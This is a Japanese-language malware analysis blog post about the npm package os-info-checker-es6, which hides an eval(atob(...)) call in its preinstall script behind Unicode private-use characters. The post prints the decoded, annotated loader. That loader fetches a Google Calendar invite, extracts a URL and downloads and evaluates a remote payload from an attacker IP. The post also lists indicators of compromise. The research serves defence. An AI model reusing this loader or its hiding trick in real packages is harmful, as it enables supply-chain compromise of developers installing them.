Aikido

ご招待: Googleカレンダーの招待状とPUAを介したマルウェア配信

2025年3月19日、私たちはあるパッケージを発見しました。そのパッケージ名は os-info-checker-es6 で、驚かされました。その説明とは異なる動作をしていることが分かりました。しかし、一体何が問題なのでしょうか?私たちはその問題を調査することにしましたが、最初は行き詰まりました。しかし、忍耐は報われるものであり、最終的に求めていた答えのほとんどを得ることができました。また、Unicode PUA(ナンパ師のことではありません)についても学びました。まさに感情のジェットコースターでした!

このパッケージとは?

そのパッケージは、~がないため、多くの手がかりを与えません。 README ファイル。npm上でのパッケージは次のようになります。

あまり情報がありません。しかし、システム情報を取得しているようです。先に進みましょう。 

臭いコードが正体を暴く

分析パイプラインは、そのパッケージの~からすぐに多くの危険信号を上げました。 preinstall.js ファイルに~が存在するため eval() base64エンコードされた入力を伴う呼び出し。 

~が見られます。 eval(atob(...)) 呼び出しです。これは「base64文字列をデコードして評価する」、すなわち任意のコードを実行することを意味します。これは決して良い兆候ではありません。しかし、入力は何でしょうか? 

入力は、~を呼び出すことによって得られる文字列です。 decode() そのパッケージに同梱されているネイティブNodeモジュールに対してです。その関数への入力は…ただの |?!何? 

ここにはいくつかの大きな疑問があります。

  1. decode関数は何をしているのでしょうか?
  2. デコードがOS情報のチェックとどう関係するのでしょうか?
  3. なぜそれが eval()~しているのでしょうか? 
  4. なぜそれへの唯一の入力が |?

さらに深掘りしましょう

私たちはバイナリをリバースエンジニアリングすることにしました。それは、ほとんど何もしない小さなRustバイナリです。当初、OS情報を取得するための関数呼び出しがあることを期待していましたが、何も確認できませんでした。おそらくバイナリがより多くのシークレットを隠しており、それが最初の質問への答えを提供しているのではないかと考えました。詳細については後ほど。

しかし、そうなると、関数の入力が単なる |? ここからが興味深い点です。それは実際の入力ではありません。コードを別のエディタにコピーしたところ、次のことがわかりました。

残念!彼らはもう少しで逃げ切るところでした。私たちが見ているのは、Unicodeの「私用領域」文字と呼ばれるものです。これらはUnicode標準で未割り当てのコードであり、人々がアプリケーション用に独自の記号を定義するために予約されています。それらは本質的に何も意味しないため、本来印字不可能です。 

この場合、 デコード ネイティブのNodeバイナリへの呼び出しは、これらのバイトをbase64エンコードされたASCII文字にデコードします。非常に巧妙です!

実際に試してみましょう

そこで、私たちは実際のコードを調査することにしました。幸いなことに、実行されたコードはrun.txtというファイルに保存されていました。そして、その内容は以下の通りです。

console.log('Check');

それは非常に面白みに欠けます。彼らは何を企んでいるのでしょうか?なぜこのコードを隠すためにこれほどの手間をかけるのでしょうか?私たちは呆然としました。 

しかし、その後…

その後、このパッケージに依存する公開されたパッケージが見つかり始めました。その中には同じ作者によるものもありました。それらは以下の通りです。

  • skip-tot (2025年3月19日)
    • これはパッケージのコピーです vue-skip-to.
  • vue-dev-serverr (2025年3月31日)
  • vue-dummyy (2025年4月3日)
    • これはパッケージのコピーです vue-dummy.
  • vue-bit (2025年4月3日)
    • はパッケージを装っています @teambit/bvm.
    • 実際のコードは含まれていません。

これらすべてに共通しているのは、追加していることです os-info-checker-es6 依存関係として追加しているものの、その関数を呼び出すことはありません デコード 関数です。何とも残念なことです。攻撃者が何をしようとしていたのか、結局何も分かりませんでした。しばらくの間、何も変化はありませんでしたが、 os-info-checker-es6 パッケージが長い休止期間を経て再び更新されました。

ついに

この件はしばらく私の頭の片隅にありました。納得がいきませんでした。彼らは何をしようとしていたのでしょうか?ネイティブのNodeモジュールを逆コンパイルした際に、何か見落としていたのでしょうか?なぜ攻撃者はこの新しい機能をこんなにも早く使い果たしてしまったのでしょうか?その答えは、2025年5月7日、新しいバージョンの os-info-checker-es6、バージョン 1.0.8がリリースされました。その preinstall.js は変更されていました。 

おや、難読化された文字列がずいぶん長くなっています!しかし、その eval 呼び出しはコメントアウトされています。つまり、難読化された文字列に悪意のあるペイロードが存在したとしても、実行されないということです。なぜでしょう?私たちはデコーダーをサンドボックスで実行し、デコードされた文字列を出力しました。少し整形し、手動で注釈を付けたものがこちらです。

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

オーケストレーター内にGoogleカレンダーへのURLがあるのを見ましたか?マルウェアでこれを見るのは興味深いことです。非常にわくわくしますね。 

皆様、ご招待いたします!

リンクは次のようになっています。

タイトルがbase64エンコードされた文字列になっているカレンダー招待です。素晴らしい!ピザのプロフィール写真を見て、ピザパーティーへの招待かと思いましたが、イベントは2027年6月7日に予定されています。ピザのためにそんなに長くは待てません。しかし、別のbase64エンコードされた文字列も入手しました。それがデコードされると次のようになります。

http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

再び行き止まりに…

この調査は浮き沈みの激しいものでした。行き詰まったかと思えば、再び兆候が現れました。開発者の真の悪意ある意図を解明する寸前まで迫りましたが、あと一歩及びませんでした。

間違いなく、これは難読化に対する斬新なアプローチでした。このようなことに時間と労力を費やす者は、開発した機能を活用すると思うでしょう。しかし、彼らはそれを使って何もしていないようで、手の内を明かしてしまいました。 

その結果、当社の分析エンジンは、攻撃者が印字不可能な制御文字にデータを隠そうとする、このようなパターンを検出できるようになりました。これは、巧妙にしようとすることで検出を困難にするどころか、かえって多くのシグナルを生み出す別のケースです。なぜなら、それは非常に珍しいため目立ち、「私は悪事を企んでいます」と書かれた大きな看板を振っているようなものだからです。引き続き素晴らしい仕事をしてください。👍

侵害の痕跡

パッケージ

  • os-info-checker-es6
  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPアドレス

  • 140.82.54[.]223

URL

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

謝辞

本調査においては、Vector35の皆様に多大なご協力をいただきました。彼らの素晴らしい製品であるBinary Ninja ツールのトライアルライセンスをご提供いただき、ネイティブNodeモジュールを完全に理解することができました。Vector35チームの皆様の素晴らしい製品に心より感謝申し上げます。👏

執筆者
Charlie Eriksen
共有:

https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要

今すぐ安全な状態を実現します

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。